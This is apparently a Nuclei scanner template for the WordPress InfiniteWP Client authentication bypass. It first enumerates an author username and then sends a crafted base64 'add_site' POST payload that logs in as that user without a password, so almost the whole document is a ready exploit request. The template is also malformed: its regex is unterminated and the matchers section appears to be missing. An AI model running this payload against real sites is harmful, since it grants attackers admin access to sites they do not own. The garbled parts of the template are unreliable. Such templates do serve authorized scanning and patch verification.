id: wordpress-infinitewp-auth-bypass info: name: WordPress InfiniteWP Client Authentication Bypass author: princechaddha severity: critical reference: https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/ tags: wordpress,auth-bypass,wp-plugin requests: - raw: - | GET /?author=1 HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 - | POST / HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded _IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"§username§\"}}")}} redirects: true extractors: - type: regex name: username internal: true group: 1 part: body regex: - 'Author:(?:[A-Za-z0-9 -\_="]+)?" part: body - type: status status: - 200